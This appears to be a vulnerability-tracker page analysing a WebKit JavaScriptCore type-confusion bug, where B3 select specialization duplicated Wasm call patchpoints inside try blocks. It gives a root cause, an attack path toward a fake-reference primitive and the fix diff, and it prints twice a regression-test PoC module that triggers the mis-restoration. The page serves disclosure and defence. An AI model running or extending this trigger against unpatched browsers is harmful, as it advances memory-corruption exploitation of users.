Medium webkit Type Confusion 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected Safari crash
DescriptionA memory corruption issue was addressed with improved state management.
ComponentJSC
Bug ClassType Confusion
Tracker316791
Fix commitdb24355101bd (webkit) +174/-2
CISA KEVNot listed
CreditedOpenAI Codex Security - Amy Burnett
Disclosed2026-09-14

Background

B3
JSC’s low-level optimizing IR, used by the FTL JIT and the OMG Wasm compiler. B3ReduceStrength is its strength-reduction/peephole pass.
`Select`
a B3 value Select(cond, a, b) producing one of two inputs; specializeSelect rewrites a Select by cloning the dependent computation into each arm so the branches specialize on the condition.
`Patchpoint` / stackmap
a B3 value representing an opaque runtime operation (e.g. a call) with an attached stackmap describing where live values reside, used to restore state (notably on exception unwinding).
`CallSiteIndex`
an index identifying a call site; for calls inside a try, OMG attaches a catch-restoration stackmap keyed by this index so the catch handler can recover live values.
`cloningForbidden(kind)` / `kind().isCloningForbidden()`
a B3 value-kind flag marking a value that must never be duplicated by a transform.
OMG try/catch
OMGIRGenerator lowers Wasm exception handling; preparePatchpointForExceptions/createCallPatchpoint build the call patchpoints and their exception stackmaps.

Root Cause Analysis

The invariant is that a call patchpoint carrying a catch-restoration stackmap keyed by CallSiteIndex is unique to its call site and must not be duplicated, because duplication would make two distinct call sites share (alias) a single stackmap — so one site’s exceptional unwind would restore state using the other’s recovery description. B3ReduceStrength’s specializeSelect violated this: when a Select fed (transitively) a Check/Patchpoint, it cloned the values between the Select and the consumer into each arm without verifying they were cloneable, so a call patchpoint inside a try could be duplicated. The patch adds a cloneability scan: after confirming select, it walks backward from m_index to the Select, and if any intervening value has kind().isCloningForbidden() it sets canClone = false and only calls specializeSelect(select) when canClone holds.

The complementary change is in WasmOMGIRGenerator: createCallPatchpoint now marks the patchpoint’s kind cloningForbidden(Patchpoint) when m_tryCatchDepth is non-zero (a call inside a try), with the comment that such calls carry a catch-restoration stackmap keyed by CallSiteIndex and must not be aliased by a B3 transform; preparePatchpointForExceptions also gains ASSERT(patch->kind().isCloningForbidden()). Together, B3 now refuses to clone the exception-bearing call patchpoint during select specialization. Before the fix, the clone produced two call sites referencing one catch stackmap, so on exception unwinding the catch handler restored values from the wrong stackmap — materializing garbage/attacker-influenced bits as live values. The committed test omg-reduce-strength-select-exception-stackmap.js is precise: it feeds 24 attacker-controlled i64 globals and an externref through a typed select into an exception-capable call under a try/catch_all, and checks that catch restoration yields null; a wrong restoration returns raw i64 bits (0xfffe...) as an externref. The advisory’s “crash” label understates a type-confusion-grade mis-restoration.

Key insight
specializeSelect cloned the computation feeding a Select without checking cloneability, so a Wasm call patchpoint inside a try — whose catch-restoration stackmap is keyed by a unique CallSiteIndex — got duplicated, making two call sites alias one stackmap and letting exception unwinding restore live values from the wrong description.

Attack Path

  1. Build the IR shape Attacker crafts a Wasm module (hand-assembled, as the test notes WAT can’t express GC+exceptions together) with a typed select whose result feeds an exception-capable call inside a try, with many live values forced into the stackmap.
  2. Tier to OMG Warm the function so it is OMG-compiled through B3; createCallPatchpoint builds the try-call patchpoint (unpatched: not marked cloning-forbidden).
  3. Trigger select specialization The IR pattern causes B3ReduceStrength::specializeSelect to clone the call patchpoint into both select arms, duplicating the CallSiteIndex-keyed stackmap.
  4. Throw The call throws, forcing unwinding into the catch_all handler, which restores live values from the aliased/wrong stackmap.
  5. Primitive The restored externref is populated from attacker-controlled raw i64 bits (observed as a non-null result where null is required): a reference holding an attacker-chosen bit pattern — a fake-reference / type-confusion primitive (addrof/fakeobj-grade escalation inferred).

Impact Assessment

Reachable from unprivileged web content: any page can compile/run a WebAssembly module, and the bug triggers once the function tiers up to the OMG/B3 compiler with the specific select-feeds-try-call shape. The diff substantiates that exception unwinding can restore live values from an aliased stackmap, so an externref (or other live value) is reconstructed from attacker-controlled raw bits — a type-confusion primitive materially stronger than the advisory’s “unexpected Safari crash.” Full exploitation (controlled fake object → arbitrary R/W) is a plausible but inferred escalation; the diff and test prove the wrong restoration (non-null where null is mandatory).

Changed Functions

FunctionChangeNotes
if
Source/JavaScriptCore/b3/B3ReduceStrength.cpp
modified
for
Source/JavaScriptCore/b3/B3ReduceStrength.cpp
modified
thrower
JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
modified
for
JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
modified

Files Changed

  • JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
  • Source/JavaScriptCore/b3/B3ReduceStrength.cpp
  • Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp

Audit Directions

  • Cloning transforms vs. unique-keyed state
    Audit other B3 transforms that duplicate values (tail duplication, LICM clones, specializeSelect-like peepholes) to ensure none can duplicate a value whose correctness depends on a unique CallSiteIndex/stackmap.
  • `cloningForbidden` coverage
    Review all OMG/FTL patchpoints that attach CallSiteIndex-keyed exception or OSR stackmaps and confirm each is marked cloningForbidden wherever it must be unique.
  • Catch-restoration correctness
    Look for other Wasm/FTL exception-handling paths where a stackmap could become shared after optimization, validating restored externref/pointer values are never built from raw operand bits.
diff --git a/Source/JavaScriptCore/b3/B3ReduceStrength.cpp b/Source/JavaScriptCore/b3/B3ReduceStrength.cpp
index 98b22cc2b9df..b5199c2e5aba 100644
--- a/Source/JavaScriptCore/b3/B3ReduceStrength.cpp
+++ b/Source/JavaScriptCore/b3/B3ReduceStrength.cpp
@@ -2962,7 +2962,23 @@ private:
                         && (value->child(1)->isConstant() || value->child(2)->isConstant());
                 });
             
-            if (select) {
+            if (!select)
+                break;
+
+            // All values between Select and Check must be cloneable.
+            bool canClone = true;
+            for (unsigned i = m_index; ; --i) {
+                Value* value = m_block->at(i);
+                if (value->kind().isCloningForbidden()) {
+                    canClone = false;
+                    break;
+                }
+                if (value == select)
+                    break;
+                RELEASE_ASSERT(i); // Select should be found
+            }
+
+            if (canClone) {
                 specializeSelect(select);
                 break;
             }
diff --git a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
index 45ebbe585184..4020e736208e 100644
--- a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
@@ -5015,6 +5015,8 @@ RefPtr<PatchpointExceptionHandle> OMGIRGenerator::preparePatchpointForExceptions
     if (!mustSaveState)
         return nullptr;
 
+    ASSERT(patch->kind().isCloningForbidden());
+
     unsigned firstStackmapChildOffset = patch->numChildren();
     unsigned firstStackmapParamOffset = firstStackmapChildOffset + m_proc.resultCount(patch->type());
 
@@ -5594,7 +5596,10 @@ auto OMGIRGenerator::createCallPatchpoint(BasicBlock* block, const TypeDefinitio
     auto constrainedPatchArgs = createCallConstrainedArgs(block, wasmCalleeInfo, tmpArgs);
 
     advanceCallSiteIndex();
-    PatchpointValue* patchpoint = m_proc.add<PatchpointValue>(returnType, origin());
+    // Calls inside a try carry a catch-restoration stackmap keyed by CallSiteIndex, see preparePatchpointForExceptions.
+    // Forbid cloning so a B3 transform won't alias two call sites to one stackmap.
+    auto patchpointKind = m_tryCatchDepth ? cloningForbidden(Patchpoint) : Patchpoint;
+    PatchpointValue* patchpoint = m_proc.add<PatchpointValue>(returnType, origin(), patchpointKind);
     patchpoint->effects.writesPinned = true;
     patchpoint->effects.readsPinned = true;
     patchpoint->clobberEarly(RegisterSetBuilder::macroClobberedGPRs());
diff --git a/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js b/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
new file mode 100644
index 000000000000..23211b1e2648
--- /dev/null
+++ b/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
@@ -0,0 +1,151 @@
+// The module is hand-assembled as raw bytes rather than written in WAT because
+// the current in-tree WAT assemblers do not support both GC and exceptions.
+
+// --- WebAssembly encoding helpers ------------------------------------------------
+
+// Unsigned LEB128.
+function u32(value)
+{
+    const result = [];
+    do {
+        let byte = value & 0x7f;
+        value >>>= 7;
+        if (value)
+            byte |= 0x80;
+        result.push(byte);
+    } while (value);
+    return result;
+}
+
+// A name/vec(byte): length-prefixed UTF-8 bytes.
+function str(value)
+{
+    const result = [];
+    for (let i = 0; i < value.length; ++i)
+        result.push(value.charCodeAt(i));
+    return [...u32(result.length), ...result];
+}
+
+// section(id, payload) = id, size(payload), payload.
+function section(id, payload)
+{
+    return [id, ...u32(payload.length), ...payload];
+}
+
+// A function body: vec(locals), code, 0x0b(end-of-function). `localGroups` is a
+// list of [count, valtype] pairs; `code` is the instruction stream.
+function body(localGroups, code)
+{
+    const payload = [...u32(localGroups.length)];
+    for (const [count, type] of localGroups)
+        payload.push(...u32(count), type);
+    payload.push(...code, 0x0b);                       // 0x0b = end (of function)
+    return [...u32(payload.length), ...payload];
+}
+
+const localGet = (index) => [0x20, ...u32(index)];     // 0x20 = local.get
+const localSet = (index) => [0x21, ...u32(index)];     // 0x21 = local.set
+const bitsCount = 24;
+
+// valtype bytes: 0x7f = i32, 0x7e = i64, 0x6f = externref. Section ids: 1 type,
+// 2 import, 3 function, 7 export, 10 code, 13 tag.
+
+function makeModule()
+{
+    // --- Type section (id 1): four function types ------------------------------
+    const helperParams = [...new Array(bitsCount).fill(0x7e), 0x6f]; // 24 x i64, then externref
+    const typeSection = [
+        ...u32(4),                                     // 4 types
+        0x60, 0x00, 0x01, 0x7f,                        // type 0: () -> i32                      ($thrower)
+        0x60, ...u32(helperParams.length), ...helperParams, 0x01, 0x7f, // type 1: (i64 x24, externref) -> i32  ($helper)
+        0x60, 0x01, 0x7f, 0x01, 0x6f,                  // type 2: (i32) -> externref            ($target)
+        0x60, 0x00, 0x00,                              // type 3: () -> ()                       (tag type)
+    ];
+
+    // --- Import section (id 2): one function + 25 mutable globals ---------------
+    const imports = [
+        [...str("m"), ...str("thrower"), 0x00, ...u32(0)],          // func   "m"."thrower" : type 0
+        [...str("m"), ...str("object"), 0x03, 0x6f, 0x01],          // global "m"."object"  : externref, mutable
+    ];
+    for (let index = 0; index < bitsCount; ++index)
+        imports.push([...str("m"), ...str(`bits${index}`), 0x03, 0x7e, 0x01]); // global "m"."bitsN" : i64, mutable
+    const importSection = [...u32(imports.length), ...imports.flat()];
+
+    // --- Function section (id 3): the two defined functions ---------------------
+    // Imported funcs occupy index 0 ($thrower); defined funcs follow:
+    //   func 1 = $helper (type 1), func 2 = $target (type 2).
+    const functionSection = [...u32(2), ...u32(1), ...u32(2)];
+
+    // --- Tag section (id 13): one exception tag of type 3 -----------------------
+    const tagSection = [...u32(1), 0x00, ...u32(3)];   // 1 tag, attribute 0 (exception), type 3
+
+    // --- Export section (id 7): export $target ----------------------------------
+    const exportSection = [...u32(1), ...str("target"), 0x00, ...u32(2)]; // "target" = func 2
+
+    // --- Code section (id 10): bodies for $helper and $target -------------------
+
+    // $helper: padding nops keep it above the inlining threshold, then it calls the
+    // imported JS thrower (which always throws).
+    const helperBody = body([], [
+        ...new Array(600).fill(0x01),                  // nop x600 (0x01 = nop)
+        0x10, 0x00,                                    // call 0  ($thrower)
+    ]);
+
+    // $target: the trigger. One externref local ($live = local 1; local 0 = param).
+    const targetBody = body([[1, 0x6f]], [
+        0x06, 0x6f,                                                            // try (result externref)
+          ...new Array(bitsCount).fill(0).flatMap((_, index) => [0x23, ...u32(1 + index)]), // global.get $bits0 .. $bits23  (globals 1..24)
+          0xd0, 0x6f,                                                         //   ref.null extern         (0xd0 ref.null, 0x6f extern; constant select arm)
+          0x23, 0x00,                                                         //   global.get 0            ($object, the other select arm)
+          ...localGet(0),                                                     //   local.get 0             ($predicate, the select condition)
+          0x1c, 0x01, 0x6f,                                                   //   select (result externref) (0x1c typed-select, 1 result type, externref)
+          ...localSet(1),                                                     //   local.set 1             ($live = select result)
+          ...localGet(1),                                                     //   local.get 1             ($live, passed as the call's externref arg)
+          0x10, 0x01,                                                         //   call 1                  ($helper; exception-capable call cloned by specializeSelect)
+          0x1a,                                                               //   drop                    (discard $helper's i32 result)
+          ...localGet(1),                                                     //   local.get 1             ($live)
+          0xd4,                                                               //   ref.as_non_null         (0xd4; the Check whose Select specializeSelect rewrites)
+          0x1a,                                                               //   drop
+          0xd0, 0x6f,                                                         //   ref.null extern         (normal-path try result; unreachable, $helper always throws)
+        0x19,                                                                 // catch_all (0x19)
+          ...localGet(1),                                                     //   local.get 1             ($live -> restored externref, the function result)
+        0x0b,                                                                 // end (of try)
+    ]);
+
+    const codeSection = [...u32(2), ...helperBody, ...targetBody]; // 2 function bodies
+
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // "\0asm", version 1
+        ...section(1, typeSection),
+        ...section(2, importSection),
+        ...section(3, functionSection),
+        ...section(13, tagSection),
+        ...section(7, exportSection),
+        ...section(10, codeSection),
+    ]);
+}
+
+// --- Imports: a throwing function, a marker externref, and 24 i64 sentinels ------
+
+const marker = { marker: 0x1227 };
+const raw42 = 0xfffe00000000002an;
+const imports = {
+    thrower() {
+        throw marker;
+    },
+    object: new WebAssembly.Global({ value: "externref", mutable: true }, marker),
+};
+for (let index = 0; index < bitsCount; ++index) {
+    imports[`bits${index}`] = new WebAssembly.Global(
+        { value: "i64", mutable: true },
+        BigInt.asIntN(64, raw42 + BigInt(index) * 0x100n));
+}
+
+const target = new WebAssembly.Instance(
+    new WebAssembly.Module(makeModule()), { m: imports }).exports.target;
+
+for (let iteration = 0; iteration < wasmTestLoopCount; ++iteration) {
+    const result = target(1);
+    if (result !== null)
+        throw new Error(`expected null catch restoration, got ${String(result)} at iteration ${iteration}`);
+}
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js b/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
new file mode 100644
index 000000000000..23211b1e2648
--- /dev/null
+++ b/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
@@ -0,0 +1,151 @@
+// The module is hand-assembled as raw bytes rather than written in WAT because
+// the current in-tree WAT assemblers do not support both GC and exceptions.
+
+// --- WebAssembly encoding helpers ------------------------------------------------
+
+// Unsigned LEB128.
+function u32(value)
+{
+    const result = [];
+    do {
+        let byte = value & 0x7f;
+        value >>>= 7;
+        if (value)
+            byte |= 0x80;
+        result.push(byte);
+    } while (value);
+    return result;
+}
+
+// A name/vec(byte): length-prefixed UTF-8 bytes.
+function str(value)
+{
+    const result = [];
+    for (let i = 0; i < value.length; ++i)
+        result.push(value.charCodeAt(i));
+    return [...u32(result.length), ...result];
+}
+
+// section(id, payload) = id, size(payload), payload.
+function section(id, payload)
+{
+    return [id, ...u32(payload.length), ...payload];
+}
+
+// A function body: vec(locals), code, 0x0b(end-of-function). `localGroups` is a
+// list of [count, valtype] pairs; `code` is the instruction stream.
+function body(localGroups, code)
+{
+    const payload = [...u32(localGroups.length)];
+    for (const [count, type] of localGroups)
+        payload.push(...u32(count), type);
+    payload.push(...code, 0x0b);                       // 0x0b = end (of function)
+    return [...u32(payload.length), ...payload];
+}
+
+const localGet = (index) => [0x20, ...u32(index)];     // 0x20 = local.get
+const localSet = (index) => [0x21, ...u32(index)];     // 0x21 = local.set
+const bitsCount = 24;
+
+// valtype bytes: 0x7f = i32, 0x7e = i64, 0x6f = externref. Section ids: 1 type,
+// 2 import, 3 function, 7 export, 10 code, 13 tag.
+
+function makeModule()
+{
+    // --- Type section (id 1): four function types ------------------------------
+    const helperParams = [...new Array(bitsCount).fill(0x7e), 0x6f]; // 24 x i64, then externref
+    const typeSection = [
+        ...u32(4),                                     // 4 types
+        0x60, 0x00, 0x01, 0x7f,                        // type 0: () -> i32                      ($thrower)
+        0x60, ...u32(helperParams.length), ...helperParams, 0x01, 0x7f, // type 1: (i64 x24, externref) -> i32  ($helper)
+        0x60, 0x01, 0x7f, 0x01, 0x6f,                  // type 2: (i32) -> externref            ($target)
+        0x60, 0x00, 0x00,                              // type 3: () -> ()                       (tag type)
+    ];
+
+    // --- Import section (id 2): one function + 25 mutable globals ---------------
+    const imports = [
+        [...str("m"), ...str("thrower"), 0x00, ...u32(0)],          // func   "m"."thrower" : type 0
+        [...str("m"), ...str("object"), 0x03, 0x6f, 0x01],          // global "m"."object"  : externref, mutable
+    ];
+    for (let index = 0; index < bitsCount; ++index)
+        imports.push([...str("m"), ...str(`bits${index}`), 0x03, 0x7e, 0x01]); // global "m"."bitsN" : i64, mutable
+    const importSection = [...u32(imports.length), ...imports.flat()];
+
+    // --- Function section (id 3): the two defined functions ---------------------
+    // Imported funcs occupy index 0 ($thrower); defined funcs follow:
+    //   func 1 = $helper (type 1), func 2 = $target (type 2).
+    const functionSection = [...u32(2), ...u32(1), ...u32(2)];
+
+    // --- Tag section (id 13): one exception tag of type 3 -----------------------
+    const tagSection = [...u32(1), 0x00, ...u32(3)];   // 1 tag, attribute 0 (exception), type 3
+
+    // --- Export section (id 7): export $target ----------------------------------
+    const exportSection = [...u32(1), ...str("target"), 0x00, ...u32(2)]; // "target" = func 2
+
+    // --- Code section (id 10): bodies for $helper and $target -------------------
+
+    // $helper: padding nops keep it above the inlining threshold, then it calls the
+    // imported JS thrower (which always throws).
+    const helperBody = body([], [
+        ...new Array(600).fill(0x01),                  // nop x600 (0x01 = nop)
+        0x10, 0x00,                                    // call 0  ($thrower)
+    ]);
+
+    // $target: the trigger. One externref local ($live = local 1; local 0 = param).
+    const targetBody = body([[1, 0x6f]], [
+        0x06, 0x6f,                                                            // try (result externref)
+          ...new Array(bitsCount).fill(0).flatMap((_, index) => [0x23, ...u32(1 + index)]), // global.get $bits0 .. $bits23  (globals 1..24)
+          0xd0, 0x6f,                                                         //   ref.null extern         (0xd0 ref.null, 0x6f extern; constant select arm)
+          0x23, 0x00,                                                         //   global.get 0            ($object, the other select arm)
+          ...localGet(0),                                                     //   local.get 0             ($predicate, the select condition)
+          0x1c, 0x01, 0x6f,                                                   //   select (result externref) (0x1c typed-select, 1 result type, externref)
+          ...localSet(1),                                                     //   local.set 1             ($live = select result)
+          ...localGet(1),                                                     //   local.get 1             ($live, passed as the call's externref arg)
+          0x10, 0x01,                                                         //   call 1                  ($helper; exception-capable call cloned by specializeSelect)
+          0x1a,                                                               //   drop                    (discard $helper's i32 result)
+          ...localGet(1),                                                     //   local.get 1             ($live)
+          0xd4,                                                               //   ref.as_non_null         (0xd4; the Check whose Select specializeSelect rewrites)
+          0x1a,                                                               //   drop
+          0xd0, 0x6f,                                                         //   ref.null extern         (normal-path try result; unreachable, $helper always throws)
+        0x19,                                                                 // catch_all (0x19)
+          ...localGet(1),                                                     //   local.get 1             ($live -> restored externref, the function result)
+        0x0b,                                                                 // end (of try)
+    ]);
+
+    const codeSection = [...u32(2), ...helperBody, ...targetBody]; // 2 function bodies
+
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // "\0asm", version 1
+        ...section(1, typeSection),
+        ...section(2, importSection),
+        ...section(3, functionSection),
+        ...section(13, tagSection),
+        ...section(7, exportSection),
+        ...section(10, codeSection),
+    ]);
+}
+
+// --- Imports: a throwing function, a marker externref, and 24 i64 sentinels ------
+
+const marker = { marker: 0x1227 };
+const raw42 = 0xfffe00000000002an;
+const imports = {
+    thrower() {
+        throw marker;
+    },
+    object: new WebAssembly.Global({ value: "externref", mutable: true }, marker),
+};
+for (let index = 0; index < bitsCount; ++index) {
+    imports[`bits${index}`] = new WebAssembly.Global(
+        { value: "i64", mutable: true },
+        BigInt.asIntN(64, raw42 + BigInt(index) * 0x100n));
+}
+
+const target = new WebAssembly.Instance(
+    new WebAssembly.Module(makeModule()), { m: imports }).exports.target;
+
+for (let iteration = 0; iteration < wasmTestLoopCount; ++iteration) {
+    const result = target(1);
+    if (result !== null)
+        throw new Error(`expected null catch restoration, got ${String(result)} at iteration ${iteration}`);
+}
Loading diff…